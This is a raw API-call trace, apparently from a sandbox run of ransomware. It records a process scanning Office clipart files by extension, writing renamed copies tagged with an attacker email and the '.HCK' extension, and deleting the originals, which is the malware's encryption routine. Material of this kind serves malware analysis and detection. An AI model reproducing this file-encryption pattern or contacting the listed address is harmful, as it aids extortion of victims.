[0231.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.112] lstrlenW (lpString=".zip") returned 4 [0231.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.112] lstrlenW (lpString=".rar") returned 4 [0231.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.112] lstrlenW (lpString=".bz2") returned 4 [0231.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.112] lstrlenW (lpString=".7z") returned 3 [0231.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.112] lstrlenW (lpString=".dbf") returned 4 [0231.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.112] lstrlenW (lpString=".1cd") returned 4 [0231.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.112] lstrlenW (lpString=".jpg") returned 4 [0231.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.112] lstrlenW (lpString=".doc") returned 4 [0231.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.112] lstrlenW (lpString=".docx") returned 5 [0231.112] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.112] lstrlenW (lpString=".pdf") returned 4 [0231.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.112] lstrlenW (lpString=".xls") returned 4 [0231.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.112] lstrlenW (lpString=".xlsx") returned 5 [0231.113] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.113] lstrlenW (lpString=".ppt") returned 4 [0231.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.113] lstrlenW (lpString=".zip") returned 4 [0231.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.113] lstrlenW (lpString=".rar") returned 4 [0231.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.113] lstrlenW (lpString=".bz2") returned 4 [0231.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.113] lstrlenW (lpString=".7z") returned 3 [0231.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.113] lstrlenW (lpString=".dbf") returned 4 [0231.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.113] lstrlenW (lpString=".1cd") returned 4 [0231.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.113] lstrlenW (lpString=".jpg") returned 4 [0231.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.113] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.113] lstrlenW (lpString="J0105292.WMF") returned 12 [0231.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0231.114] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=14868) returned 1 [0231.114] CloseHandle (hObject=0x54c) returned 1 [0231.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220 [0231.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0231.114] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.114] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0231.115] GetLastError () returned 0x0 [0231.115] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x3a14, lpOverlapped=0x0) returned 1 [0231.117] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0231.118] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.118] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.118] SetEndOfFile (hFile=0x4d4) returned 1 [0231.118] CloseHandle (hObject=0x4d4) returned 1 [0231.118] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.118] SetEndOfFile (hFile=0x54c) returned 1 [0231.784] CloseHandle (hObject=0x54c) returned 1 [0231.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0231.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.786] lstrlenW (lpString=".doc") returned 4 [0231.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.786] lstrlenW (lpString=".docx") returned 5 [0231.786] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0231.786] lstrlenW (lpString=".pdf") returned 4 [0231.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.786] lstrlenW (lpString=".xls") returned 4 [0231.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.786] lstrlenW (lpString=".xlsx") returned 5 [0231.786] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0231.786] lstrlenW (lpString=".ppt") returned 4 [0231.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.786] lstrlenW (lpString=".zip") returned 4 [0231.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.786] lstrlenW (lpString=".rar") returned 4 [0231.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.786] lstrlenW (lpString=".bz2") returned 4 [0231.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.786] lstrlenW (lpString=".7z") returned 3 [0231.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.786] lstrlenW (lpString=".dbf") returned 4 [0231.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.786] lstrlenW (lpString=".1cd") returned 4 [0231.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.786] lstrlenW (lpString=".jpg") returned 4 [0231.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.786] lstrlenW (lpString=".doc") returned 4 [0231.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.787] lstrlenW (lpString=".docx") returned 5 [0231.787] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0231.787] lstrlenW (lpString=".pdf") returned 4 [0231.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.787] lstrlenW (lpString=".xls") returned 4 [0231.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.787] lstrlenW (lpString=".xlsx") returned 5 [0231.787] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0231.787] lstrlenW (lpString=".ppt") returned 4 [0231.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.787] lstrlenW (lpString=".zip") returned 4 [0231.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.787] lstrlenW (lpString=".rar") returned 4 [0231.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.787] lstrlenW (lpString=".bz2") returned 4 [0231.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.787] lstrlenW (lpString=".7z") returned 3 [0231.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.787] lstrlenW (lpString=".dbf") returned 4 [0231.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.787] lstrlenW (lpString=".1cd") returned 4 [0231.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0231.787] lstrlenW (lpString=".jpg") returned 4 [0231.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.787] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.787] lstrlenW (lpString="J0105376.WMF") returned 12 [0231.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0231.788] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=4964) returned 1 [0231.789] CloseHandle (hObject=0x54c) returned 1 [0231.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220 [0231.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0231.789] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.789] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0231.791] GetLastError () returned 0x0 [0231.791] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1364, lpOverlapped=0x0) returned 1 [0231.792] WriteFile (in: hFile=0x4c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1370, lpOverlapped=0x0) returned 1 [0231.792] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.793] WriteFile (in: hFile=0x4c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.793] SetEndOfFile (hFile=0x4c4) returned 1 [0231.793] CloseHandle (hObject=0x4c4) returned 1 [0231.793] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.793] SetEndOfFile (hFile=0x54c) returned 1 [0231.795] CloseHandle (hObject=0x54c) returned 1 [0231.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0231.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.796] lstrlenW (lpString=".doc") returned 4 [0231.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.796] lstrlenW (lpString=".docx") returned 5 [0231.796] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.796] lstrlenW (lpString=".pdf") returned 4 [0231.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.796] lstrlenW (lpString=".xls") returned 4 [0231.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.796] lstrlenW (lpString=".xlsx") returned 5 [0231.796] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.796] lstrlenW (lpString=".ppt") returned 4 [0231.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.796] lstrlenW (lpString=".zip") returned 4 [0231.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.796] lstrlenW (lpString=".rar") returned 4 [0231.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.796] lstrlenW (lpString=".bz2") returned 4 [0231.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.796] lstrlenW (lpString=".7z") returned 3 [0231.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.796] lstrlenW (lpString=".dbf") returned 4 [0231.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.796] lstrlenW (lpString=".1cd") returned 4 [0231.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.796] lstrlenW (lpString=".jpg") returned 4 [0231.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.797] lstrlenW (lpString=".doc") returned 4 [0231.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.797] lstrlenW (lpString=".docx") returned 5 [0231.797] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.797] lstrlenW (lpString=".pdf") returned 4 [0231.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.797] lstrlenW (lpString=".xls") returned 4 [0231.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.797] lstrlenW (lpString=".xlsx") returned 5 [0231.797] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.797] lstrlenW (lpString=".ppt") returned 4 [0231.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.797] lstrlenW (lpString=".zip") returned 4 [0231.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.797] lstrlenW (lpString=".rar") returned 4 [0231.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.797] lstrlenW (lpString=".bz2") returned 4 [0231.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.797] lstrlenW (lpString=".7z") returned 3 [0231.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.797] lstrlenW (lpString=".dbf") returned 4 [0231.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.797] lstrlenW (lpString=".1cd") returned 4 [0231.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0231.797] lstrlenW (lpString=".jpg") returned 4 [0231.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.797] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.797] lstrlenW (lpString="J0105378.WMF") returned 12 [0231.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0231.798] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=4964) returned 1 [0231.798] CloseHandle (hObject=0x54c) returned 1 [0231.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220 [0231.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0231.798] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.799] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0231.799] GetLastError () returned 0x0 [0231.799] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1364, lpOverlapped=0x0) returned 1 [0231.800] WriteFile (in: hFile=0x4c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1370, lpOverlapped=0x0) returned 1 [0231.801] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.801] WriteFile (in: hFile=0x4c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.801] SetEndOfFile (hFile=0x4c4) returned 1 [0231.801] CloseHandle (hObject=0x4c4) returned 1 [0231.801] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.801] SetEndOfFile (hFile=0x54c) returned 1 [0231.813] CloseHandle (hObject=0x54c) returned 1 [0231.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0231.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.814] lstrlenW (lpString=".doc") returned 4 [0231.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.814] lstrlenW (lpString=".docx") returned 5 [0231.814] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.814] lstrlenW (lpString=".pdf") returned 4 [0231.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.814] lstrlenW (lpString=".xls") returned 4 [0231.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.814] lstrlenW (lpString=".xlsx") returned 5 [0231.814] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.814] lstrlenW (lpString=".ppt") returned 4 [0231.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.814] lstrlenW (lpString=".zip") returned 4 [0231.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.814] lstrlenW (lpString=".rar") returned 4 [0231.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString=".bz2") returned 4 [0231.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString=".7z") returned 3 [0231.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.815] 